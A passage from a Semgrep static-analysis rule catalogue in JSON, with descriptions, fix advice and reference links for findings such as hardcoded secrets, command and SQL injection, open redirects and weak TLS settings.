[https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"HockeyApp detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-hockeyapp.detected-hockeyapp","id":"generic.secrets.security.detected-hockeyapp.detected-hockeyapp","name":"generic.secrets.security.detected-hockeyapp.detected-hockeyapp","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-hockeyapp.detected-hockeyapp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block."},"help":{"markdown":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.header-redefinition.header-redefinition)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/addheaderredefinition.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/addheaderredefinition.md)\n","text":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.header-redefinition.header-redefinition","id":"generic.nginx.security.header-redefinition.header-redefinition","name":"generic.nginx.security.header-redefinition.header-redefinition","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.header-redefinition.header-redefinition"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"help":{"markdown":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user.missing-user)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.missing-user.missing-user","id":"dockerfile.security.missing-user.missing-user","name":"dockerfile.security.missing-user.missing-user","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.missing-user.missing-user"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.command-injection-process-builder.command-injection-process-builder)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","id":"java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","name":"java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.command-injection-process-builder.command-injection-process-builder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish)\n - [https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption](https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","id":"python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","name":"python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic."},"help":{"markdown":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_permission](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_permission)\n - [https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-permission.html](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-permission.html)\n","text":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","id":"terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","name":"terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","id":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","name":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"help":{"markdown":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network2)\n","text":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network2","id":"python.lang.compatibility.python37.python37-compatibility-ipv6network2","name":"python.lang.compatibility.python37.python37-compatibility-ipv6network2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv6network2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://owasp.org/www-community/attacks/LDAP_Injection](https://owasp.org/www-community/attacks/LDAP_Injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/90.html](https://cwe.mitre.org/data/definitions/90.html)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","id":"go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","name":"go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dangerously accepting invalid TLS information"},"help":{"markdown":"Dangerously accepting invalid TLS information\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid)\n - [https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_hostnames](https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_hostnames)\n - [https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_certs](https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_certs)\n","text":"Dangerously accepting invalid TLS information"},"helpUri":"https://semgrep.dev/r/rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","id":"rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","name":"rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.open-redirect.open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.browser.open-redirect.open-redirect","id":"javascript.browser.open-redirect.open-redirect","name":"javascript.browser.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation."},"help":{"markdown":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","id":"scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","name":"scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions)\n - [https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle](https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle)\n","text":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","id":"problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","name":"problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.unlink-use.unlink-use)\n - [https://www.php.net/manual/en/function.unlink](https://www.php.net/manual/en/function.unlink)\n - [https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html](https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html)\n","text":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/php.lang.security.unlink-use.unlink-use","id":"php.lang.security.unlink-use.unlink-use","name":"php.lang.security.unlink-use.unlink-use","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.unlink-use.unlink-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","id":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","name":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions."},"help":{"markdown":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.log-http-headers.log-request-headers)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions."},"helpUri":"https://semgrep.dev/r/java.spring.log-http-headers.log-request-headers","id":"java.spring.log-http-headers.log-request-headers","name":"java.spring.log-http-headers.log-request-headers","properties":{"precision":"very-high","tags":["CWE-532: Insertion of Sensitive Information into Log File","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.log-http-headers.log-request-headers"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret)\n 